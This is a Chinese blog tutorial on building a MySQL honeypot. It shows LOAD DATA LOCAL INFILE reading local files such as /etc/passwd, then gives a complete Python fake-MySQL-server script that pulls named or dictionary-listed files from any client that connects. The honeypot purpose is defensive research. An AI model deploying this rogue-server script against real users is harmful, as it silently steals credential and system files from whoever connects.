相关阅读
杂谈
其实,一年前热心网友就分享过一篇Mysql蜜罐的文章进行科普,但是其实里面并没有比较详细的阐述相关的技术细节,最近又有热心网友私信,故,今天做个稍微详细的补充。
实验一:LOAD DATA INFILE用法演示
基础知识
通常情况下,如果连接到MySQL数据库,在确认开启了local_infile
情况下,你可以使用load data local infile
将本地文件内容写入到数据库表中,由此,就有热心网友产生了一个奇妙的想法,那就是让你主动连接到MySQL数据库之后,读取你电脑中的文件,实现对黑客进行溯源。
环境
- 虚拟机1:一台部署mysql(可以Docker一键搭建)
- 虚拟机2:一台用来连接(这里使用kali linux)
虚拟机1:搭建MySQL环境
我们这里使用的CentOS的虚拟机
如果你的CentOS没有安装Docker,可以参考下面的命令行,安装docker
在 CentOS 系统上安装 Docker,可以通过以下步骤完成:
更新系统软件包:
sudo yum update -y
安装依赖包:
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
添加 Docker 官方仓库:
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
安装 Docker CE(社区版):
sudo yum install -y docker-ce docker-ce-cli containerd.io
启动 Docker 服务:
sudo systemctl start docker
设置 Docker 服务开机自启动:
sudo systemctl enable docker
验证 Docker 安装成功:
sudo docker --version
现在,我们确认已经安装好docker了,使用docker获取mysql的镜像
docker pull mysql:latest
![图片[1]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503072715344.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
docker run -itd --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql
![图片[2]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503073218559-1024x240.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
这里创建的MySQL数据库账户是root密码是123456
我们也可以通过Windows电脑里的Navicat进行连接
![图片[3]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503073402769.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
我们可以这里创建一个名为test
的数据库,以便进行下面的测试
![图片[4]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503073435297.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
同时建一个test的数据表
![图片[5]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503073547863-1024x198.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
其中字段也是test
![图片[6]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503073604619.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
虚拟机2:连接MySQL数据库
现在,我们使用第二台虚拟机,我们这里使用的是Kali Linux
mysql -h 192.168.244.129 -u root -p
这里-p
之后输入密码,就是我们刚才使用Docker部署的MySQL的root密码,即123456
![图片[7]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503074425493.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
查看local_infile
是否启用
show global variables like 'local_infile';
![图片[8]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503074445907.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
我们这里看到是禁用的状态,输入下面的命令进行启用
set global local_infile=1;
![图片[9]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503074526559.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
可以看到现在是已经启用了的
现在,我们做一些大胆的尝试,尝试直接写入本地文件,我提前在桌面上创建了一个fancypig.txt
的文件
mousepad fancypig.txt
![图片[10]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503074834673.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
之后我们在Kali Linux终端里,使用下面的命令尝试读取桌面的文件写入数据库
load data local infile '/home/fancypig/桌面/fancypig.txt' into table test fields terminated by '\n';
![图片[11]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503074943153.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
之后,我们去navicat上看下,居然读取进去了
![图片[12]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503074804133.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
当然,你还可以在疯狂一些,比方说读取一些特定的文件,如/etc/passwd
load data local infile '/etc/passwd' into table test fields terminated by '\n';
![图片[13]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503075209423.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
可以看到/etc/passwd
也被读取进去了
![图片[14]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503075240966.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
与我们命令行输入的cat /etc/passwd
读取到的内容完全一致
![图片[15]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503075319243.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
总结
至此,实验结束,我们发现了一个有趣的事情,那就是,连接到MySQL之后,可以使用load data local infile
方式任意读取电脑中的文件,这也就是为什么说,如果你构造一个MySQL蜜罐,可以主动执行上述命令,在别人连接到你的蜜罐之后,就自动读取电脑中的一些资料,从而进行溯源。
如果你深入研究,可以通过Wireshark进一步分析MySQL协议
![图片[16]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503075735263-1024x514.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
可以看到每个命令在流量中对应的关系
![图片[17]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503075830167-1024x568.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
之后便可以尝试伪造一个MySQL的服务
实验二:搭建MySQL蜜罐
基于上面的知识背景,我们尝试制作一个MySQL的蜜罐,其实就是使用socket发送刚才我们看到的wireshark中左侧的16进制字符来模拟MySQL交互
脚本代码
MysqlHoneyPot.py
# -*- coding: utf-8 -*-
import socket
import os
import sys
from pathlib import Path
import platform
class MySQLFileReader:
def __init__(self, port):
self.port = port
self.sv = socket.socket()
self.sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sv.bind(("", port))
self.sv.listen(5)
def mysql_get_file_content(self, filename):
conn, address = self.sv.accept()
print(f"收到连接: {address[0]}")
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
server_version = b"\x0a\x35\x2e\x35\x2e\x35\x33"
if platform.system() == "Linux":
server_version = b"\x0a\x35\x2e\x37\x2e\x32\x39"
conn.sendall(b"\x4a\x00\x00\x00" + server_version + b"\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
conn.sendall(b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
wantfile = (len(filename) + 1).to_bytes(1, 'big') + b"\x00\x00\x01\xFB" + filename.encode()
conn.sendall(wantfile)
content = conn.recv(9999)
conn.close()
if len(content) > 4:
content_str = content.decode()
with open(logpath + "/" + Path(filename).name, "w") as txt:
txt.write(content_str)
print(f"文件内容: \n{content_str}")
return True
else:
return False
def read_files_from_input(self):
print(f"已在 {self.port} 端口启用MySQL蜜罐")
while True:
filename = input("请输入接下来你想读的文件名 (直接按回车退出): ")
if filename == "":
break
res = self.mysql_get_file_content(filename)
if res:
print(f"文件已保存 ---> {filename}")
else:
print(f"文件未找到 ---> {filename}")
def read_files_from_dict(self, dict_file):
print(f"已在 {self.port} 端口启用MySQL蜜罐")
with open(dict_file) as dicc:
for line in dicc.readlines():
line = line.strip("\n")
res = self.mysql_get_file_content(line)
if res:
print(f"文件已保存 ---> {line}")
else:
print(f"文件未找到 ---> {line}")
if __name__ == "__main__":
port = int(input("请输入监听端口号: "))
mode = input('''
请选择读取模式:
【1】从输入读取文件
【2】从字典读取文件
''')
mysql_file_reader = MySQLFileReader(port)
if mode == '1':
mysql_file_reader.read_files_from_input()
elif mode == '2':
dict_file = input("请输入字典文件名: ")
mysql_file_reader.read_files_from_dict(dict_file)
else:
print("无效的模式选择,请重新运行程序并输入正确的模式。")
使用演示
启动MySQL蜜罐
python3 MysqlHoneyPot.py
自定义端口选择3306
我们这里会模拟黑客使用Windows电脑连接,我预先放置一个pass.txt文件在电脑根目录下,等下看看能否让黑客连接MySQL蜜罐后,验证是否可以读取到这个文件
![图片[18]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503093240645.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
我们现在启动蜜罐,并填入我们要读取的文件路径
![图片[19]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503094241427.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
接下来,我们模拟黑客的操作,通常情况下黑客,会去扫描服务器的开放端口,这时发现有一个开放的3306端口,上面正运行着MySQL数据库
![图片[20]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503093153324.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
黑客通常会对MySQL数据库进行弱口令爆破,之后会发现MySQL数据库是没有密码的
然后我们这里模拟黑客进行连接,使用navicat,通常情况下,我们会进行测试连接
![图片[21]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503093609506.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
一旦点击,我们可以看到终端上已经显示到文件的内容了
![图片[22]-MySQL蜜罐完整指南 | 如何搭建一个蜜罐溯源黑客-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2023/05/20230503094317298.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
以上只是一个针对测试连接时获取系统文件的一个演示,更多的玩法可以进一步研究,或者在评论区里留言
- 最新
- 最热
只看作者